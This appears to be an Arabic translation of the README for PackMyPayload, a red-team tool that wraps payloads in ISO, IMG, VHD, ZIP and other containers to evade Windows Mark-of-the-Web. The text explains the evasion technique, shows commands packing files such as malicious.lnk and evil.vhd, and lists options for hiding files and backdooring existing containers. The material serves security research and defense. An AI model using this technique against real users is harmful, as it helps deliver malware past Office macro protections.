
برهان مفهوم يقوم بتغليف الحمولات في حاويات إخراج لتجنب علامة Mark-of-the-Web وإظهار المخاطر المرتبطة بتنسيقات ملفات الحاويات. يدعم: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - التهديد الناشئ للبرامج الضارة المعبأة في حاوياتهذه الأداة تأخذ ملفًا أو دليلاً كمدخل وتضمّنهم في ملف إخراج يعمل كأرشيف/حاوية. يمكن أن تخدم غرض إثبات المفهوم لتقديم المخاطر الناشئة عن صيغ ملفات الحاوية مع البرامج الضارة المضمنة، بالإضافة إلى مساعدة لمشغلي الفرق الحمراء المحترفين لتحسين مناورات الوصول الأولي الخاصة بهم.
حاليًا، من المعروف أن الجهات الفاعلة للتهديدات تقوم بتهريب برامجها الضارة المؤرشفة في صيغ ملفات حاوية مختلفة، على سبيل المثال لا الحصر:
7zipzipISOIMGيفعلون ذلك لتجاوز ماسحات محتوى الملفات، ولكن الأهم من ذلك لتجنب وجود علامة Web of the Mark على ملفاتهم. هناك دوافع مختلفة لعدم رغبة الخصوم في وجود MOTW على ملفاتهم: عرض محمي في Microsoft Office كان دائمًا من بينها.
إذا قدموا ملف حاوية لضحاياهم، فيمكن تجاوز أساس تعطيل ماكرو VBA في مستندات Office القادمة من الإنترنت.
في 7 فبراير، أعلنت Microsoft تغيير التكوين الافتراضي لحظر ماكرو VBA القادم من الإنترنت. هذه خطوة لا تصدق نحو تعزيز التكوين الأساسي لمحطة عمل المستخدم والبرامج العميلة المثبتة بداخلها. يمكن القول إنها متأخرة، لكنها مع ذلك خطوة مهمة تؤثر بشكل كبير وإيجابي على إعدادات تثبيت Windows+Office النموذجية.
يتم شرح السلوك المنفذ على أنه يعمل عن طريق تمييز مستندات Office الممكّنة للماكرو بناءً على علامة MOTW (Mark of the Web). تعمل هذه العلامة كملصق ملوث متاح للبرامج العميلة (المتصفحات، عملاء البريد، برامج الأرشفة، إلخ) لوضع علامة على الملفات القادمة من مناطق غير موثوقة مثل الإنترنت.
ألقى Outflank مزيدًا من الضوء على MOTW، في عام 2020 من خلال الإشارة إلى المجالات التي لا يتم فيها نشر علامة MOTW بشكل موحد. تعمل هذه المجالات كدور فجوة دفاعية ويتم إساءة استخدامها بشكل شائع من قبل الجهات الفاعلة للتهديدات منذ سنوات حتى الآن.
كشف بحثهم أن بعض صيغ ملفات الحاوية - وهي ISO، VHD/VHDX - لا تنشر علامة التلوث MOTW إلى الملفات الداخلية عند التحميل التلقائي أو الاستخراج التلقائي. علاوة على ذلك، فإن Windows 8+ قادر على فتح هذه الصيغ تلقائيًا عند النقر المزدوج، مما يجعلها ناقلات عدوى سيئة السمعة، ربما تقلل من قيمة MOTW في دورها كإجراء أمني.
دعنا نعرض كيف تبدو علامة Mark of the Web عمليًا:

بعد تنزيل ملف، انقر بزر الماوس الأيمن عليه وراجع خصائصه.
سترى رسالة تطلب إلغاء حظر الملف، لأنه قادم من منطقة غير موثوقة:

يتم تخزين هذه المعلومات في NTFS ADS (تدفق البيانات البديل) المسمى Zone.Identifier والذي يبدو كما يلي:

يلعب ZoneId=3 دور وضع علامة على الملف على أنه ملوث.
باستخدام PackMyPayload.py، ضع الملف في قرص ISO Joliet بسهولة باستخدام الأمر:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

بعد إنشاء ملف ISO، قم بمحاكاة خادم HTTP باستخدام Python:
PS> py -m http.server 80
ثم قم بتنزيل ملف ISO باستخدام متصفحك.

عند مراجعة خصائص ملف ISO هذا، سترى أنه موسوم بعلامة MOTW.

ومع ذلك، ملف المثبت 7zip الداخلي EXE غير موسوم بـ MOTW!

باستخدام الفرصة التي تركز فيها أعين الصناعة على قرار Microsoft الشجاع بحظر ماكرو VBA، نحن، باحثو الأمن المحترفون الذين يضعون في الاعتبار الأهمية القصوى لزيادة مرونة تقنيات العالم ضد إساءة استخدامها، نريد إضافة الرؤية التالية إلى TTPs الحالية للجهات الفاعلة للتهديدات:
الجهات الفاعلة للتهديدات تدرك جيدًا تأثير MOTW على حمولات التصيد الخاصة بها. لقد تكيفوا منذ فترة طويلة وهم الآن يهربون برامجهم الضارة داخل الحاويات. من بين أكثرها شيوعًا يمكننا تسليط الضوء على ISO، IMG، CAB.
أنا الآن أصدر هذه الأداة لزيادة الزخم المبني على موقف Microsoft وللمساعدة في تكثيف المناقشات حول هذه السبل للتهرب.
يُنصح باحتواء (و/أو حظر) الملفات ذات الامتدادات المذكورة أعلاه عندما تأتي من مناطق غير موثوقة وحيثما ينطبق ذلك:
نأمل أن تمكن الأداة التي تم إصدارها المزيد من الفرق الحمراء من محاكاة المخاطر التي تمت مناقشتها ومساعدتهم في تحديد فجوات الكشف داخل دفاعات شركائهم بسهولة أكبر.
يقدم هذا البرنامج النصي المزايا والهدايا التالية:
الصيغ المدعومة:
--zip-noreadonly.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART يتطلب وصول المسؤول إلى كائنات/مساحة أسماء الأجهزة الفعلية. أفضل تجربة يحصل عليها المرء عند تشغيل البرنامج النصي على Windows Terminal (wt) أو ConEmu حيث يدعمان ألوان ANSI. وإلا، إذا كان الإخراج يبدو سيئًا، فقم بتعطيل هذه الألوان باستخدام العلم -N:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
إضافة دعم لملفات MSI
تضمين الملفات في مستندات MS Office 2007+: word -> embeddings -> oleObject1.bin (دفق OLE) + ضبط
التفكير في إضافة دعم لصيغ أرشيف غريبة أخرى (لا تتعامل حقًا مع MOTW أو مدعومة خارج الصندوق بواسطة Windows):
tarcpiopaxxararmtreeshartarcpgzuuأطلب منك بلطف قراءة السطر التالي بصوت عالٍ وبأسرع ما يمكنك أمام المرآة:
py Pack My Payload dot py
يقول البعض أن التعويذة تستحضر DAEMON القديم والأغنام ( ͡~ ͜ʖ ͡°)
تصفيق حار وشكر للمساهمين التاليين الذين ساعدوا في تحسين هذه الأداة:
--hide لإخفاء الملفات في حاويات ISO/IMG--hideهذا المشروع وغيره هي نتاج ليالٍ بلا نوم والكثير من العمل الشاق. إذا أعجبك ما أفعله وتقدر أنني دائمًا أعود إلى المجتمع، فكر في شراء قهوة لي (أو أفضل: بيرة) فقط لتقول شكرًا! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| الصيغة | هل تزيل MOTW؟ | هل مدعومة من Windows خارج الصندوق؟ | هل يلزم رفع الامتيازات؟ | ملاحظات |
|---|
Zip | لا/نعم* | نعم | لا | (MOTW تمت إزالتها مع CVE-2022-41091) |
7zip | جزئيًا | لا | لا | MOTW تُزال فقط عند استخراج الملفات يدويًا |
ISO | نعم | نعم | لا | |
IMG | نعم | نعم | لا | |
PDF | ? | نعم | لا | يعتمد على دعم Javascript في قارئ PDF |
CAB | لا | نعم | لا | يتطلب بضع نقرات إضافية من جانب الضحية |
VHD | نعم | نعم | نعم | هذا البرنامج النصي لا يمكنه حاليًا عمل أدلة |
VHDX | نعم | نعم | نعم | هذا البرنامج النصي لا يمكنه حاليًا عمل أدلة |
lhaWinZip Pro يدعم أيضًا استخراج الصيغ التالية - ربما يستحق إضافتها أيضًا:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,